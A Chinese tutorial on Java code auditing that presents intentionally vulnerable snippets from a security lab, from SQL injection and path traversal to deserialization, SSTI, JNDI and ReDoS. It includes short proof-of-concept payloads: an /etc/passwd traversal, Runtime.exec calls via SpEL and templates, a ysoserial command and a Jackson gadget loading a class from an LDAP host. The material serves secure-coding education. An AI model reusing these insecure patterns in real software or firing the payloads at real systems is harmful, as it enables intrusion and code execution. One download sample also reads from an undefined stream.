Java代码审计之不安全的Java代码

​ 在打靶场的同时，需要想一下如果你是开发人员你会怎样去防御这种漏洞，而作为攻击方你又怎么去绕过开发人员的防御。

环境搭建

GitHub - j3ers3/Hello-Java-Sec: ☕️ Java Security，安全编码和代码审计

SQL注入

​ SQLI(SQL Injection)， SQL注入是因为程序未能正确对用户的输入进行检查，将用户的输入以拼接的方式带入SQL语句，导致了SQL注入的产生。攻击者可通过SQL注入直接获取数据库信息，造成信息泄漏。

SQL注入之JDBC注入

​ JDBC有两个方法执行SQL语句，分别是PrepareStatement和Statement。

漏洞代码：

// 采用原始的Statement拼接语句，导致漏洞产生

public String jdbcVul(String id) {
    StringBuilder result = new StringBuilder();
    try {
        Class.forName("com.mysql.cj.jdbc.Driver");
        Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);

        Statement stmt = conn.createStatement();
        // 拼接语句产生SQL注入
        String sql = "select * from users where id = '" + id + "'";
        ResultSet rs = stmt.executeQuery(sql);

        while (rs.next()) {
            String res_name = rs.getString("user");
            String res_pass = rs.getString("pass");
            String info = String.format("查询结果 %s: %s", res_name, res_pass);
            result.append(info);
        }

漏洞代码二：

// PrepareStatement会对SQL语句进行预编译，但有时开发者为了便利，直接采取拼接的方式构造SQL，此时进行预编译也无用。

Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);
String sql = "select * from users where id = " + id;
PreparedStatement st = conn.prepareStatement(sql);
System.out.println("[*] 执行SQL语句：" + st);
ResultSet rs = st.executeQuery();

​

SQL注入之MyBatis

​ MyBatis框架底层已经实现了对SQL注入的防御，但存在使用不当的情况下，仍然存在SQL注入的风险。

漏洞代码：

// 此漏洞出现频率较高并且很严重！
// 为何产生：由于使用 #{} 会将对象转成字符串，形成 order by "user" desc 造成错误，因此很多研发会采用${}来解决，从而造成SQL注入
// 点击运行可通过报错语句获取数据库user

@RequestMapping("/mybatis/vul/order")
public List<User> orderBy(String field, String sort) {
    return userMapper.orderBy(field, sort);
}

// mapper.xml语句
<select id="orderBy" resultType="com.best.hello.entity.User">
    select * from users order by ${field} ${sort}
</select>

漏洞代码二：

// 模糊搜索时，直接使用'%#{q}%' 会报错，部分研发图方便直接改成'%${q}%'从而造成注入

@Select("select * from users where user like '%${q}%'")
List<User> search(String q);

// 安全代码,采用concat
@Select("select * from users where user like concat('%',#{q},'%')")
List<User> search(String q);

​

文件上传

​ 文件上传漏洞，是指用户上传了一个可执行的脚本文件(如jsp\php\asp)，并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存，这种漏洞属于低成本高杀伤力

漏洞代码：

// 允许上传任意文件导致的安全风险

public String singleFileUpload(@RequestParam("file") MultipartFile file, RedirectAttributes redirectAttributes) {
    try {
        byte[] bytes = file.getBytes();
        Path dir = Paths.get(UPLOADED_FOLDER);
        Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());

        Files.write(path, bytes);
        redirectAttributes.addFlashAttribute("message","上传文件成功：" + path + "");
    } catch (Exception e) {
         return e.toString();
    }
    return "redirect:upload_status";
}

目录遍历

​ 目录遍历, 应用系统在处理下载文件时未对文件进行过滤，系统后台程序程序中如果不能正确地过滤客户端提交的../和./之类的目录跳转符，攻击者可以通过输入../进行目录跳转，从而下载、删除任意文件。

// 文件路径没做限制，通过../递归下载任意文件
// PoC：/Traversal/download?filename=../../../../../../../etc/passwd

@GetMapping("/download")
public String download(String filename, HttpServletRequest request, HttpServletResponse response) {
    String filePath = System.getProperty("user.dir") + "/logs/" + filename;
    try {
        File file = new File(filePath);
        InputStream is = new BufferedInputStream(new FileInputStream(file));
        byte[] buffer = new byte[is.available()];
        fis.read(buffer);
        fis.close();
        response.reset();
        response.addHeader("Content-Disposition", "attachment;filename=" + filename);
        response.addHeader("Content-Length", "" + file.length());
        OutputStream toClient = new BufferedOutputStream(response.getOutputStream());
        response.setContentType("application/octet-stream");
        toClient.write(buffer);
        toClient.flush();
        toClient.close();
        return "下载文件成功：" + filePath;

XSS

​ XSS(Cross Site Scripting) 跨站脚本攻击，攻击者插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

漏洞代码：

// 简单的反射型XSS，没对输出做处理。当攻击者输入恶意js语句时可触发

@GetMapping("/reflect")
public static String input(String content) {
    return content;
}

SSRF

​ SSRF(Server-Side Request Forgery) 服务器端请求伪造，是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

漏洞代码:

// url参数没做限制，可调用URLConnection发起任意请求，比如请求内网，或使用file等协议读取文件

public static String URLConnection(String url) {
    try {
        URL u = new URL(url);
        URLConnection conn = u.openConnection();
        BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));

        String content;
        StringBuffer html = new StringBuffer();

        while ((content = reader.readLine()) != null) {
            html.append(content);
        }
        reader.close();
        return html.toString();

    } catch (Exception e) {
        return e.getMessage();
    }
}

漏洞代码二：

// SSRF修复经常碰到的问题，虽然过滤了内网地址，但通过短链接跳转的方式可以绕过

public String URLConnectionSafe(String url) {
    if (!Security.is_http(url)){
        return "不允许非http/https协议!!!";
    }else if (Security.isIntranet(url)) {
        return "不允许访问内网!!!";
    }else{
        return Http.URLConnection(url);
    }
}

远程代码执行

​ RCE (Remote Code Execution), 远程代码执行漏洞，这里包含两种类型漏洞:

• 命令注入（Command Injection），在某种开发需求中，需要引入对系统本地命令的支持来完成特定功能，当未对输入做过滤时，则会产生命令注入
• 代码注入（Code Injection），在正常的java程序中注入一段java代码并执行，即用户输入的数据当作java代码进行执行。

漏洞代码：

// 功能是利用ProcessBuilder执行ls命令查看文件，但攻击者通过拼接; & |等连接符来执行自己的命令。

@RequestMapping("/ProcessBuilder")
public static String cmd(String filepath) {
    String[] cmdList = {"sh", "-c", "ls -l " + filepath};
    StringBuilder sb = new StringBuilder();

    ProcessBuilder pb = new ProcessBuilder(cmdList);
    pb.redirectErrorStream(true);
    ...

漏洞代码二：

// getRuntime()常用于执行本地命令，使用频率较高。

@RequestMapping("/runtime")
public static String cmd2(String cmd) {
    StringBuilder sb = new StringBuilder();
    try {
        Process proc = Runtime.getRuntime().exec(cmd);
        InputStream fis = proc.getInputStream();
        InputStreamReader isr = new InputStreamReader(fis);
        BufferedReader br = new BufferedReader(isr);
     ...

漏洞代码三：

// 通过加载远程js文件来执行代码，如果加载了恶意js则会造成任意命令执行
// 远程恶意js: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
// :warning: 在Java 8之后移除了ScriptEngineManager的eval

public void jsEngine(String url) throws Exception {
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
    Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
    String payload = String.format("load('%s')", url);
    engine.eval(payload, bindings);
}

漏洞代码四：

// 不安全的使用Groovy调用命令

import groovy.lang.GroovyShell;
@GetMapping("/groovy")
public void groovy(String cmd) {
    GroovyShell shell = new GroovyShell();
    shell.evaluate(cmd);
}

漏洞代码五：

// ProcessImpl是更为底层的实现，Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类

Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
method.invoke(null, new String[]{cmd}, null, null, null, false);

不安全的反序列化

​ 反序列化漏洞，当输入的反序列化的数据可被用户控制，那么攻击者即可通过构造恶意输入，让反序列化产生非预期的对象，在此过程中执行构造的任意代码（多见于第三方组件产生的漏洞）

漏洞代码：

// readObject，读取输入流,并转换对象。ObjectInputStream.readObject() 方法的作用正是从一个源输入流中读取字节序列，再把它们反序列化为一个对象。
// payload：java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "open -a Calculator" | base64

public String cc(String base64) {
    try {
        BASE64Decoder decoder = new BASE64Decoder();

        base64 = base64.replace(" ", "+");
        byte[] bytes = decoder.decodeBuffer(base64);

        ByteArrayInputStream stream = new ByteArrayInputStream(bytes);

        // 反序列化流，将序列化的原始数据恢复为对象
        ObjectInputStream in = new ObjectInputStream(stream);
        in.readObject();
        in.close();
        return "反序列化漏洞";
    } catch (Exception e) {
        return e.toString();
    }
}

漏洞代码二：

// 远程服务器支持用户可以输入yaml格式的内容并且进行数据解析，没有做沙箱，黑名单之类的防控

public void yaml(String content) {
    Yaml y = new Yaml();
    y.load(content);
}

漏洞代码三：

// Java RMI Registry 反序列化漏洞，受jdk版本影响，< = jdk8u111

public String rmi() {
    try {
        Registry registry = LocateRegistry.createRegistry(9999);
    } catch (Exception e) {
        e.printStackTrace();
    }
    return "开启RMI监听，端口：9999";
}

失效的身份认证

​ 失效的身份认证，通过错误使用应用程序的身份认证和会话管理功能，攻击者能够破译密码、密钥或会话令牌，或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。

表达式注入

​ SpEL（Spring Expression Language）表达式注入, 是一种功能强大的表达式语言、用于在运行时查询和操作对象图，由于未对参数做过滤可造成任意命令执行。

漏洞代码：

// PoC: T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)

@GetMapping("/vul")
public String spelVul(String ex) {
    ExpressionParser parser = new SpelExpressionParser();
    String result = parser.parseExpression(ex).getValue().toString();
    System.out.println(result);
    return result;
}

XML外部实体注

​ XXE (XML External Entity Injection), XML外部实体注入，当开发人员配置其XML解析功能允许外部实体引用时，攻击者可利用这一可引发安全问题的配置方式，实施任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。

漏洞代码：

@RequestMapping(value = "/XMLReader")
public String XMLReader(@RequestBody String content) {
    try {
        XMLReader xmlReader = XMLReaderFactory.createXMLReader();
        // 修复：禁用外部实体
        // xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        xmlReader.parse(new InputSource(new StringReader(content)));
        return "XMLReader XXE";
    } catch (Exception e) {
    return e.toString();
    }
}

漏洞代码二：

// SAXReader
SAXReader sax = new SAXReader();
// 修复：禁用外部实体
// sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
sax.read(new InputSource(new StringReader(content)));

漏洞代码三：

// SAXBuilder
@RequestMapping(value = "/SAXBuilder")
public String SAXBuilder(@RequestBody String content) {
    try {
        SAXBuilder saxbuilder = new SAXBuilder();
        // 修复: saxbuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        saxbuilder.build(new InputSource(new StringReader(content)));
        return "SAXBuilder XXE";
    } catch (Exception e) {
        return e.toString();
    }
}

越权访问

​ 失效的访问控制（Broken Access Control），应用在检查授权时存在纰漏，使得攻击者在获得低权限用户账户后，利用一些方式绕过权限检查，访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定，一旦权限验证不充分，就易致越权漏洞。

漏洞代码：

// 未做权限控制，通过遍历name参数可查询任意用户信息
@GetMapping("/vul/info")
public List<User> vul(String name) {
    return userMapper.queryByUser(name);
}

接口未授权访问

​ 接口未授权访问（Unauthorized Access），在不进行请求授权的情况下，能够直接对相应的业务逻辑功能进行访问、操作等。通常是由于认证页面存在缺陷或者无认证、安全配置不当等导致的。

漏洞代码：

// 对部分接口未做鉴权拦截，导致可未授权访问
@Override
public void addInterceptors(InterceptorRegistry registry) {
    registry.addInterceptor(new LoginHandlerInterceptor())
    .addPathPatterns("/**")
    .excludePathPatterns("/Unauth/**", "/css/**", "/js/**", "/img/**");
}

SSTI模板注入

​ SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入，将其作为 Web 应用模板内容的一部分，在进行目标编译渲染的过程中，执行了用户插入的恶意内容。

漏洞代码：

/**
   * 将请求的url作为视图名称，调用模板引擎去解析
   * 在这种情况下，我们只要可以控制请求的controller的参数，一样可以造成RCE漏洞
   * payload: __${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")}__::.x
   */

 @GetMapping("/doc/{document}")
 public void getDocument(@PathVariable String document) {
     System.out.println(document);
 }

漏洞组件

组件中存在的漏洞

XStream反序列化

​ XStream是一个简单的基于Java库，Java对象序列化到XML，历史上存在多个反序列化漏洞。

漏洞代码：

public String vul(@RequestBody String content) {
    XStream xs = new XStream();
    xs.fromXML(content);
    return "XStream Vul";
}

Fastjson反序列化

​ fastjson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean，历史上存在多个反序列化漏洞。

// 使用了低版本，存在漏洞
// poc: {"@type":"java.net.Inet4Address","val":"8d5tv8.dnslog.cn"}

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

Jackson反序列化

​ Jackson是一套开源的java序列化与反序列化工具框架，可将java对象序列化为xml和json格式的字符串并提供对应的反序列化过程。由于其解析效率较高，Jackson目前是Spring MVC中内置使用的解析方式。

漏洞代码：

public void vul() {
    try {
        String payload = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\"}]";

        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        Object o = mapper.readValue(payload, Object.class);
        mapper.writeValueAsString(o);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

Log4j2反序列化

​ Apache Log4j2是一款优秀的Java日志框架。此次漏洞是由 Log4j2 提供的lookup功能造成的，该功能允许开发者通过一些协议去读取相应环境中的配置。但在处理数据时，并未对输入（如${jndi）进行严格的判断，从而造成JNDI注入

漏洞代码：

// log4j-core < 2.15.0-rc1

public String vul(String content) {
    logger.error(content);
    return "Log4j2 RCE";
}

shiro反序列化

其他漏洞

其他的一些漏洞

开放重定向

​ 开放重定向漏洞，是指后台服务器在告知浏览器跳转时,未对客户端传入的重定向地址进行合法性校验,导致用户浏览器跳转到钓鱼页面的一种漏洞

出现场景：用户登录、统一身份认证等需要跳转的地方

漏洞代码：

// 满足参数url可控，且未做限制

public String vul(String url) {
    return "redirect:" + url;
}

Actuator未授权访问

​ Actuator, 是Spring Boot提供的服务监控和管理中间件，默认配置会出现接口未授权访问，部分接口会泄露网站流量信息和内存信息等，使用Jolokia库特性甚至可以远程执行任意代码，获取服务器权限。

漏洞代码：

# 不安全的配置：Actuator设置全部暴露
management.endpoints.web.exposure.include=*

IP地址伪造

​ X-Forwarded-For地址伪造，很多Web应用需要获取用户的IP，通过IP伪造可以绕过一些安全限制。

漏洞代码：

public static String vul(HttpServletRequest request) {
    String ip2 = request.getHeader("X-Forwarded-For");
    if(!Objects.equals(ip2, "127.0.0.1")) {
        return  "禁止访问，只允许本地IP！";
    } else {
        return "success，你的IP：" + ip2;
    }
}

Swagger未授权访问

​ Swagger未开启页面访问限制，Swagger未开启严格的Authorize认证。

CORS

​ CORS(Cross-origin resource sharing),即跨域资源共享，用于绕过SOP（同源策略）来实现跨域资源访问的一种技术。 CORS漏洞则是利用CORS技术窃取用户敏感数据，CORS漏洞的成因是服务端配置的规则不当所导致的，服务器端没有配置Access-Control-Allow-Origin等字段

漏洞代码：

public String corsVul(HttpServletRequest request, HttpServletResponse response) {
        String origin = request.getHeader("origin");
        response.setHeader("Access-Control-Allow-Origin", origin);
        response.setHeader("Access-Control-Allow-Credentials", "true");
        response.setHeader("Access-Control-Allow-Methods", "GET,POST,PUT,DELETE,OPTIONS");
        return "cors vul";
}

JNDI注入

​ Java命名和目录接口（JNDI）是一种Java API，类似于一个索引中心，它允许客户端通过name发现和查找数据和对象。JNDI注入就是当上文代码中jndiName这个变量可控时，引发的漏洞，它将导致远程class文件加载，从而导致远程代码执行。

漏洞代码：

// lookup是通过名字检索执行的对象，当lookup()方法的参数可控时，攻击者便能提供一个恶意的url地址来加载恶意类。
Context ctx = new InitialContext();
ctx.lookup(url);

DoS漏洞

​ DoS是Denial of Service的简称，即拒绝服务，造成DoS的攻击行为被称为DoS攻击，其目的是使计算机或网络无法提供正常的服务。

漏洞代码：

// Pattern.matches造成的ReDoS
// PoC: vul?contnet=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab

public String vul(String content) {

    boolean match = Pattern.matches("(a|aa)+", content);
    return String.format("正则匹配：%s，正则表达式拒绝服务攻击", match);
}

验证码复用

​ 验证码反复利用，可以直接进行暴力破解。（这是一类常见的安全问题）

一般来说，验证码是与Session绑定的，Session生成时，也伴随着验证码的生成和绑定，在访问页面时，接口的请求和验证码的生成通常是异步进行的，这使得两个功能变得相对独立。也就意味着我们如果仅请求接口，而不触发验证码的生成，那么验证码就不会变化。 并且在考虑安全时，开发人员的关注点往往在 验证码校验 是否通过，通过则进入业务流程，不通过则重新填写，而忽视了这个用户是否按照既定的业务流程在走（接口访问与验证码生成是否同时进行），验证码是否被多次使用了。

漏洞代码：

// 未清除session中的验证码，导致可复用

 if (!CaptchaUtil.ver(captcha, request)) {
     model.addAttribute("msg", "验证码不正确");
     return "login";
 }